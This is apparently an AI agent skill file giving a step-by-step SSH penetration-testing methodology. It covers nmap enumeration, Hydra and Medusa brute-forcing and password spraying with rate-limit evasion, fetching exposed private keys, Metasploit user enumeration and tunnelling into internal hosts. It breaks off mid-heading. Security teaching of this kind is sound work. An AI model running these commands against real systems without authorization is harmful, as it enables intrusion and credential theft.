/ssh-penetration-testing

name: ssh-penetration-testing
description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
metadata:
  author: zebbern
  version: "1.1"

SSH Penetration Testing

Purpose

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

Prerequisites

Required Tools

• Nmap with SSH scripts
• Hydra or Medusa for brute-forcing
• ssh-audit for configuration analysis
• Metasploit Framework
• Python with Paramiko library

Required Knowledge

• SSH protocol fundamentals
• Public/private key authentication
• Port forwarding concepts
• Linux command-line proficiency

Outputs and Deliverables

1. **SSH Enumeration Report** - Versions, algorithms, configurations 2. **Credential Assessment** - Weak passwords, default credentials 3. **Vulnerability Assessment** - Known CVEs, misconfigurations 4. **Tunnel Documentation** - Port forwarding configurations

Core Workflow

Phase 1: SSH Service Discovery

Identify SSH services on target networks:

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100

Phase 2: SSH Enumeration

Gather detailed information about SSH services:

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

Phase 3: SSH Configuration Auditing

Identify weak configurations:

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

Key configuration weaknesses to identify:

• Weak key exchange algorithms (diffie-hellman-group1-sha1)
• Weak ciphers (arcfour, 3des-cbc)
• Weak MACs (hmac-md5, hmac-sha1-96)
• Deprecated protocol versions

Phase 4: Credential Attacks

Brute-Force with Hydra

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Brute-Force with Medusa

# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

Password Spraying

# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

Phase 5: Key-Based Authentication Testing

Test for weak or exposed keys:

# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100

# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" user@192.168.1.100
done

Check for exposed keys:

# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

Phase 6: Vulnerability Exploitation

Search for known vulnerabilities:

# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

Phase 7: SSH Tunneling and Port Forwarding

Local Port Forwarding

Forward local port to remote service:

# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100

Remote